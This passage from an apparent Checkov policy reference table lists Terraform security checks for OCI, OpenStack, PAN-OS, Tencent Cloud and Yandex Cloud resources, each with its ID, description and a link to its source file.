CKV_OCI_1 | provider | oci | Ensure no hard coded OCI private key in provider | Terraform | [credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/provider/oci/credentials.py) | | 4511 | CKV_OCI_2 | resource | oci_core_volume | Ensure OCI Block Storage Block Volume has backup enabled | Terraform | [StorageBlockBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/StorageBlockBackupEnabled.py) | | 4512 | CKV_OCI_3 | resource | oci_core_volume | OCI Block Storage Block Volumes are not encrypted with a Customer Managed Key (CMK) | Terraform | [StorageBlockEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/StorageBlockEncryption.py) | | 4513 | CKV_OCI_4 | resource | oci_core_instance | Ensure OCI Compute Instance boot volume has in-transit data encryption enabled | Terraform | [InstanceBootVolumeIntransitEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/InstanceBootVolumeIntransitEncryption.py) | | 4514 | CKV_OCI_5 | resource | oci_core_instance | Ensure OCI Compute Instance has Legacy MetaData service endpoint disabled | Terraform | [InstanceMetadataServiceEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/InstanceMetadataServiceEnabled.py) | | 4515 | CKV_OCI_6 | resource | oci_core_instance | Ensure OCI Compute Instance has monitoring enabled | Terraform | [InstanceMonitoringEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/InstanceMonitoringEnabled.py) | | 4516 | CKV_OCI_7 | resource | oci_objectstorage_bucket | Ensure OCI Object Storage bucket can emit object events | Terraform | [ObjectStorageEmitEvents.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/ObjectStorageEmitEvents.py) | | 4517 | CKV_OCI_8 | resource | oci_objectstorage_bucket | Ensure OCI Object Storage has versioning enabled | Terraform | [ObjectStorageVersioning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/ObjectStorageVersioning.py) | | 4518 | CKV_OCI_9 | resource | oci_objectstorage_bucket | Ensure OCI Object Storage is encrypted with Customer Managed Key | Terraform | [ObjectStorageEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/ObjectStorageEncryption.py) | | 4519 | CKV_OCI_10 | resource | oci_objectstorage_bucket | Ensure OCI Object Storage is not Public | Terraform | [ObjectStoragePublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/ObjectStoragePublic.py) | | 4520 | CKV_OCI_11 | resource | oci_identity_authentication_policy | OCI IAM password policy - must contain lower case | Terraform | [IAMPasswordPolicyLowerCase.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/IAMPasswordPolicyLowerCase.py) | | 4521 | CKV_OCI_12 | resource | oci_identity_authentication_policy | OCI IAM password policy - must contain Numeric characters | Terraform | [IAMPasswordPolicyNumeric.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/IAMPasswordPolicyNumeric.py) | | 4522 | CKV_OCI_13 | resource | oci_identity_authentication_policy | OCI IAM password policy - must contain Special characters | Terraform | [IAMPasswordPolicySpecialCharacters.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/IAMPasswordPolicySpecialCharacters.py) | | 4523 | CKV_OCI_14 | resource | oci_identity_authentication_policy | OCI IAM password policy - must contain Uppercase characters | Terraform | [IAMPasswordPolicyUpperCase.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/IAMPasswordPolicyUpperCase.py) | | 4524 | CKV_OCI_15 | resource | oci_file_storage_file_system | Ensure OCI File System is Encrypted with a customer Managed Key | Terraform | [FileSystemEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/FileSystemEncryption.py) | | 4525 | CKV_OCI_16 | resource | oci_core_security_list | Ensure VCN has an inbound security list | Terraform | [SecurityListIngress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/SecurityListIngress.py) | | 4526 | CKV_OCI_17 | resource | oci_core_security_list | Ensure VCN inbound security lists are stateless | Terraform | [SecurityListIngressStateless.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/SecurityListIngressStateless.py) | | 4527 | CKV_OCI_18 | resource | oci_identity_authentication_policy | OCI IAM password policy for local (non-federated) users has a minimum length of 14 characters | Terraform | [IAMPasswordLength.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/IAMPasswordLength.py) | | 4528 | CKV_OCI_19 | resource | oci_core_security_list | Ensure no security list allow ingress from 0.0.0.0:0 to port 22. | Terraform | [SecurityListUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/SecurityListUnrestrictedIngress22.py) | | 4529 | CKV_OCI_20 | resource | oci_core_security_list | Ensure no security list allow ingress from 0.0.0.0:0 to port 3389. | Terraform | [SecurityListUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/SecurityListUnrestrictedIngress3389.py) | | 4530 | CKV_OCI_21 | resource | oci_core_network_security_group_security_rule | Ensure security group has stateless ingress security rules | Terraform | [SecurityGroupsIngressStatelessSecurityRules.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/SecurityGroupsIngressStatelessSecurityRules.py) | | 4531 | CKV_OCI_22 | resource | oci_core_network_security_group_security_rule | Ensure no security groups rules allow ingress from 0.0.0.0/0 to port 22 | Terraform | [AbsSecurityGroupUnrestrictedIngress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/AbsSecurityGroupUnrestrictedIngress.py) | | 4532 | CKV_OCI_23 | resource | oci_datacatalog_catalog | Ensure OCI Data Catalog is configured without overly permissive network access | Terraform | [DataCatalogWithPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/DataCatalogWithPublicAccess.py) | | 4533 | CKV2_OCI_1 | resource | oci_identity_group | Ensure administrator users are not associated with API keys | Terraform | [AdministratorUserNotAssociatedWithAPIKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/AdministratorUserNotAssociatedWithAPIKey.yaml) | | 4534 | CKV2_OCI_1 | resource | oci_identity_user | Ensure administrator users are not associated with API keys | Terraform | [AdministratorUserNotAssociatedWithAPIKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/AdministratorUserNotAssociatedWithAPIKey.yaml) | | 4535 | CKV2_OCI_1 | resource | oci_identity_user_group_membership | Ensure administrator users are not associated with API keys | Terraform | [AdministratorUserNotAssociatedWithAPIKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/AdministratorUserNotAssociatedWithAPIKey.yaml) | | 4536 | CKV2_OCI_2 | resource | oci_core_network_security_group_security_rule | Ensure NSG does not allow all traffic on RDP port (3389) | Terraform | [OCI_NSGNotAllowRDP.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/OCI_NSGNotAllowRDP.yaml) | | 4537 | CKV2_OCI_3 | resource | oci_containerengine_cluster | Ensure Kubernetes engine cluster is configured with NSG(s) | Terraform | [OCI_KubernetesEngineClusterEndpointConfigWithNSG.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/OCI_KubernetesEngineClusterEndpointConfigWithNSG.yaml) | | 4538 | CKV2_OCI_4 | resource | oci_file_storage_export | Ensure File Storage File System access is restricted to root users | Terraform | [OCI_NFSaccessRestrictedToRootUsers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/OCI_NFSaccessRestrictedToRootUsers.yaml) | | 4539 | CKV2_OCI_5 | resource | oci_containerengine_node_pool | Ensure Kubernetes Engine Cluster boot volume is configured with in-transit data encryption | Terraform | [OCI_K8EngineClusterBootVolConfigInTransitEncryption.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/OCI_K8EngineClusterBootVolConfigInTransitEncryption.yaml) | | 4540 | CKV2_OCI_6 | resource | oci_containerengine_cluster | Ensure Kubernetes Engine Cluster pod security policy is enforced | Terraform | [OCI_K8EngineClusterPodSecPolicyEnforced.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/OCI_K8EngineClusterPodSecPolicyEnforced.yaml) | | 4541 | CKV_OPENSTACK_1 | provider | openstack | Ensure no hard coded OpenStack password, token, or application_credential_secret exists in provider | Terraform | [credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/provider/openstack/credentials.py) | | 4542 | CKV_OPENSTACK_2 | resource | openstack_compute_secgroup_v2 | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22 (tcp / udp) | Terraform | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/openstack/SecurityGroupUnrestrictedIngress22.py) | | 4543 | CKV_OPENSTACK_2 | resource | openstack_networking_secgroup_rule_v2 | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22 (tcp / udp) | Terraform | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/openstack/SecurityGroupUnrestrictedIngress22.py) | | 4544 | CKV_OPENSTACK_3 | resource | openstack_compute_secgroup_v2 | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389 (tcp / udp) | Terraform | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/openstack/SecurityGroupUnrestrictedIngress3389.py) | | 4545 | CKV_OPENSTACK_3 | resource | openstack_networking_secgroup_rule_v2 | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389 (tcp / udp) | Terraform | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/openstack/SecurityGroupUnrestrictedIngress3389.py) | | 4546 | CKV_OPENSTACK_4 | resource | openstack_compute_instance_v2 | Ensure that instance does not use basic credentials | Terraform | [ComputeInstanceAdminPassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/openstack/ComputeInstanceAdminPassword.py) | | 4547 | CKV_OPENSTACK_5 | resource | openstack_fw_rule_v1 | Ensure firewall rule set a destination IP | Terraform | [FirewallRuleSetDestinationIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/openstack/FirewallRuleSetDestinationIP.py) | | 4548 | CKV_PAN_1 | provider | panos | Ensure no hard coded PAN-OS credentials exist in provider | Terraform | [credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/provider/panos/credentials.py) | | 4549 | CKV_PAN_2 | resource | panos_management_profile | Ensure plain-text management HTTP is not enabled for an Interface Management Profile | Terraform | [InterfaceMgmtProfileNoHTTP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/InterfaceMgmtProfileNoHTTP.py) | | 4550 | CKV_PAN_3 | resource | panos_management_profile | Ensure plain-text management Telnet is not enabled for an Interface Management Profile | Terraform | [InterfaceMgmtProfileNoTelnet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/InterfaceMgmtProfileNoTelnet.py) | | 4551 | CKV_PAN_4 | resource | panos_security_policy | Ensure DSRI is not enabled within security policies | Terraform | [PolicyNoDSRI.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoDSRI.py) | | 4552 | CKV_PAN_4 | resource | panos_security_rule_group | Ensure DSRI is not enabled within security policies | Terraform | [PolicyNoDSRI.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoDSRI.py) | | 4553 | CKV_PAN_5 | resource | panos_security_policy | Ensure security rules do not have 'applications' set to 'any' | Terraform | [PolicyNoApplicationAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoApplicationAny.py) | | 4554 | CKV_PAN_5 | resource | panos_security_rule_group | Ensure security rules do not have 'applications' set to 'any' | Terraform | [PolicyNoApplicationAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoApplicationAny.py) | | 4555 | CKV_PAN_6 | resource | panos_security_policy | Ensure security rules do not have 'services' set to 'any' | Terraform | [PolicyNoServiceAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoServiceAny.py) | | 4556 | CKV_PAN_6 | resource | panos_security_rule_group | Ensure security rules do not have 'services' set to 'any' | Terraform | [PolicyNoServiceAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoServiceAny.py) | | 4557 | CKV_PAN_7 | resource | panos_security_policy | Ensure security rules do not have 'source_addresses' and 'destination_addresses' both containing values of 'any' | Terraform | [PolicyNoSrcAnyDstAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoSrcAnyDstAny.py) | | 4558 | CKV_PAN_7 | resource | panos_security_rule_group | Ensure security rules do not have 'source_addresses' and 'destination_addresses' both containing values of 'any' | Terraform | [PolicyNoSrcAnyDstAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoSrcAnyDstAny.py) | | 4559 | CKV_PAN_8 | resource | panos_security_policy | Ensure description is populated within security policies | Terraform | [PolicyDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyDescription.py) | | 4560 | CKV_PAN_8 | resource | panos_security_rule_group | Ensure description is populated within security policies | Terraform | [PolicyDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyDescription.py) | | 4561 | CKV_PAN_9 | resource | panos_security_policy | Ensure a Log Forwarding Profile is selected for each security policy rule | Terraform | [PolicyLogForwarding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyLogForwarding.py) | | 4562 | CKV_PAN_9 | resource | panos_security_rule_group | Ensure a Log Forwarding Profile is selected for each security policy rule | Terraform | [PolicyLogForwarding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyLogForwarding.py) | | 4563 | CKV_PAN_10 | resource | panos_security_policy | Ensure logging at session end is enabled within security policies | Terraform | [PolicyLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyLoggingEnabled.py) | | 4564 | CKV_PAN_10 | resource | panos_security_rule_group | Ensure logging at session end is enabled within security policies | Terraform | [PolicyLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyLoggingEnabled.py) | | 4565 | CKV_PAN_11 | resource | panos_ipsec_crypto_profile | Ensure IPsec profiles do not specify use of insecure encryption algorithms | Terraform | [NetworkIPsecAlgorithms.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/NetworkIPsecAlgorithms.py) | | 4566 | CKV_PAN_11 | resource | panos_panorama_ipsec_crypto_profile | Ensure IPsec profiles do not specify use of insecure encryption algorithms | Terraform | [NetworkIPsecAlgorithms.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/NetworkIPsecAlgorithms.py) | | 4567 | CKV_PAN_12 | resource | panos_ipsec_crypto_profile | Ensure IPsec profiles do not specify use of insecure authentication algorithms | Terraform | [NetworkIPsecAuthAlgorithms.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/NetworkIPsecAuthAlgorithms.py) | | 4568 | CKV_PAN_12 | resource | panos_panorama_ipsec_crypto_profile | Ensure IPsec profiles do not specify use of insecure authentication algorithms | Terraform | [NetworkIPsecAuthAlgorithms.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/NetworkIPsecAuthAlgorithms.py) | | 4569 | CKV_PAN_13 | resource | panos_ipsec_crypto_profile | Ensure IPsec profiles do not specify use of insecure protocols | Terraform | [NetworkIPsecProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/NetworkIPsecProtocols.py) | | 4570 | CKV_PAN_13 | resource | panos_panorama_ipsec_crypto_profile | Ensure IPsec profiles do not specify use of insecure protocols | Terraform | [NetworkIPsecProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/NetworkIPsecProtocols.py) | | 4571 | CKV_PAN_14 | resource | panos_panorama_zone | Ensure a Zone Protection Profile is defined within Security Zones | Terraform | [ZoneProtectionProfile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/ZoneProtectionProfile.py) | | 4572 | CKV_PAN_14 | resource | panos_zone | Ensure a Zone Protection Profile is defined within Security Zones | Terraform | [ZoneProtectionProfile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/ZoneProtectionProfile.py) | | 4573 | CKV_PAN_14 | resource | panos_zone_entry | Ensure a Zone Protection Profile is defined within Security Zones | Terraform | [ZoneProtectionProfile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/ZoneProtectionProfile.py) | | 4574 | CKV_PAN_15 | resource | panos_panorama_zone | Ensure an Include ACL is defined for a Zone when User-ID is enabled | Terraform | [ZoneUserIDIncludeACL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/ZoneUserIDIncludeACL.py) | | 4575 | CKV_PAN_15 | resource | panos_zone | Ensure an Include ACL is defined for a Zone when User-ID is enabled | Terraform | [ZoneUserIDIncludeACL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/ZoneUserIDIncludeACL.py) | | 4576 | CKV_TC_1 | resource | tencentcloud_cbs_storage | Ensure Tencent Cloud CBS is encrypted | Terraform | [CBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CBSEncryption.py) | | 4577 | CKV_TC_2 | resource | tencentcloud_instance | Ensure Tencent Cloud CVM instance does not allocate a public IP | Terraform | [CVMAllocatePublicIp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CVMAllocatePublicIp.py) | | 4578 | CKV_TC_3 | resource | tencentcloud_instance | Ensure Tencent Cloud CVM monitor service is enabled | Terraform | [CVMDisableMonitorService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CVMDisableMonitorService.py) | | 4579 | CKV_TC_4 | resource | tencentcloud_instance | Ensure Tencent Cloud CVM instances do not use the default security group | Terraform | [CVMUseDefaultSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CVMUseDefaultSecurityGroup.py) | | 4580 | CKV_TC_5 | resource | tencentcloud_instance | Ensure Tencent Cloud CVM instances do not use the default VPC | Terraform | [CVMUseDefaultVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CVMUseDefaultVPC.py) | | 4581 | CKV_TC_6 | resource | tencentcloud_kubernetes_cluster | Ensure Tencent Cloud TKE clusters enable log agent | Terraform | [TKELogAgentEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/TKELogAgentEnabled.py) | | 4582 | CKV_TC_7 | resource | tencentcloud_kubernetes_cluster | Ensure Tencent Cloud TKE cluster is not assigned a public IP address | Terraform | [TKEPublicIpAssigned.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/TKEPublicIpAssigned.py) | | 4583 | CKV_TC_8 | resource | tencentcloud_security_group_rule_set | Ensure Tencent Cloud VPC security group rules do not accept all traffic | Terraform | [VPCSecurityGroupRuleSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/VPCSecurityGroupRuleSet.py) | | 4584 | CKV_TC_9 | resource | tencentcloud_mysql_instance | Ensure Tencent Cloud mysql instances do not enable access from public networks | Terraform | [CDBInternetService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CDBInternetService.py) | | 4585 | CKV_TC_10 | resource | tencentcloud_mysql_instance | Ensure Tencent Cloud MySQL instances intranet ports are not set to the default 3306 | Terraform | [CDBIntranetPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CDBIntranetPort.py) | | 4586 | CKV_TC_11 | resource | tencentcloud_clb_instance | Ensure Tencent Cloud CLB has a logging ID and topic | Terraform | [CLBInstanceLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CLBInstanceLog.py) | | 4587 | CKV_TC_12 | resource | tencentcloud_clb_listener | Ensure Tencent Cloud CLBs use modern, encrypted protocols | Terraform | [CLBListenerProtocol.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CLBListenerProtocol.py) | | 4588 | CKV_TC_13 | resource | tencentcloud_instance | Ensure Tencent Cloud CVM user data does not contain sensitive information | Terraform | [CVMUserData.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CVMUserData.py) | | 4589 | CKV_TC_14 | resource | tencentcloud_vpc_flow_log_config | Ensure Tencent Cloud VPC flow logs are enabled | Terraform | [VPCFlowLogConfigEnable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/VPCFlowLogConfigEnable.py) | | 4590 | CKV_TF_1 | module | module | Ensure Terraform module sources use a commit hash | Terraform | [RevisionHash.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/module/generic/RevisionHash.py) | | 4591 | CKV_TF_2 | module | module | Ensure Terraform module sources use a tag with a version number | Terraform | [RevisionVersionTag.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/module/generic/RevisionVersionTag.py) | | 4592 | CKV_YC_1 | resource | yandex_mdb_clickhouse_cluster | Ensure security group is assigned to database cluster. | Terraform | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py) | | 4593 | CKV_YC_1 | resource | yandex_mdb_elasticsearch_cluster | Ensure security group is assigned to database cluster. | Terraform | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py) | | 4594 | CKV_YC_1 | resource | yandex_mdb_greenplum_cluster | Ensure security group is assigned to database cluster. | Terraform | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py) | | 4595 | CKV_YC_1 | resource | yandex_mdb_kafka_cluster | Ensure security group is assigned to database cluster. | Terraform | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py) | | 4596 | CKV_YC_1 | resource | yandex_mdb_mongodb_cluster | Ensure security group is assigned to database cluster. | Terraform | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py) | | 4597 | CKV_YC_1 | resource | yandex_mdb_mysql_cluster | Ensure security group is assigned to database cluster. | Terraform | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py) | | 4598 | CKV_YC_1 | resource | yandex_mdb_postgresql_cluster | Ensure security group is assigned to database cluster. | Terraform | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py) | | 4599 | CKV_YC_1 | resource | yandex_mdb_redis_cluster | Ensure security group is assigned to database cluster. | Terraform | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py) | | 4600 | CKV_YC_1 | resource | yandex_mdb_sqlserver_cluster | Ensure security group is assigned to database cluster. | Terraform | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py) | | 4601 | CKV_YC_2 | resource | yandex_compute_instance | Ensure compute instance does not have public IP. | Terraform | [ComputeVMPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ComputeVMPublicIP.py) | | 4602 | CKV_YC_3 | resource | yandex_storage_bucket | Ensure storage bucket is encrypted. | Terraform | [ObjectStorageBucketEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ObjectStorageBucketEncryption.py) | | 4603 | CKV_YC_4 | resource | yandex_compute_instance | Ensure compute instance does not have serial console enabled. | Terraform | [ComputeVMSerialConsole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ComputeVMSerialConsole.py) | | 4604 | CKV_YC_5 | resource | yandex_kubernetes_cluster | Ensure Kubernetes cluster does not have public IP address. | Terraform | [K8SPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SPublicIP.py) | | 4605 | CKV_YC_6 | resource | yandex_kubernetes_node_group | Ensure Kubernetes cluster node group does not have public IP addresses. | Terraform | [K8SNodeGroupPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SNodeGroupPublicIP.py) | | 4606 | CKV_YC_7 | resource | yandex_kubernetes_cluster | Ensure Kubernetes cluster auto-upgrade is enabled. | Terraform | [K8SAutoUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SAutoUpgrade.py) | | 4607 | CKV_YC_8 | resource | yandex_kubernetes_node_group | Ensure Kubernetes node group auto-upgrade is enabled. | Terraform | [K8SNodeGroupAutoUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SNodeGroupAutoUpgrade.py) | | 4608 | CKV_YC_9 | resource | yandex_kms_symmetric_key | Ensure KMS symmetric key is rotated. | Terraform | [KMSSymmetricKeyRotation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/KMSSymmetricKeyRotation.py) | | 4609 | CKV_YC_10 | resource | yandex_kubernetes_cluster | Ensure etcd database is encrypted with KMS key. | Terraform | [K8SEtcdKMSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SEtcdKMSEncryption.py) | | 4610 | CKV_YC_11 | resource | yandex_compute_instance | Ensure security group is assigned to network interface. | Terraform | [ComputeVMSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ComputeVMSecurityGroup.py) | | 4611 | CKV_YC_12 | resource | yandex_mdb_clickhouse_cluster | Ensure public IP is not assigned to database cluster. | Terraform | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py) | | 4612 | CKV_YC_12 | resource | yandex_mdb_elasticsearch_cluster | Ensure public IP is not assigned to database cluster. | Terraform | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py) | | 4613 | CKV_YC_12 | resource | yandex_mdb_greenplum_cluster | Ensure public IP is not assigned to database cluster. | Terraform | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py) | | 4614 | CKV_YC_12 | resource | yandex_mdb_kafka_cluster | Ensure public IP is not assigned to database cluster. | Terraform | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py) | | 4615 | CKV_YC_12 | resource | yandex_mdb_mongodb_cluster | Ensure public IP is not assigned to database cluster. | Terraform | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py) | | 4616 | CKV_YC_12 | resource | yandex_mdb_mysql_cluster | Ensure public IP is not assigned to database cluster. | Terraform | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py) | | 4617 | CKV_YC_12 | resource | yandex_mdb_postgresql_cluster | Ensure public IP is not assigned to database cluster. | Terraform | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py) | | 4618 | CKV_YC_12 | resource | yandex_mdb_sqlserver_cluster | Ensure public IP is not assigned to database cluster. | Terraform | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py) | | 4619 | CKV_YC_13 | resource | yandex_resourcemanager_cloud_iam_binding | Ensure cloud member does not have elevated access. | Terraform | [IAMCloudElevatedMembers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMCloudElevatedMembers.py) | | 4620 | CKV_YC_13 | resource | yandex_resourcemanager_cloud_iam_member | 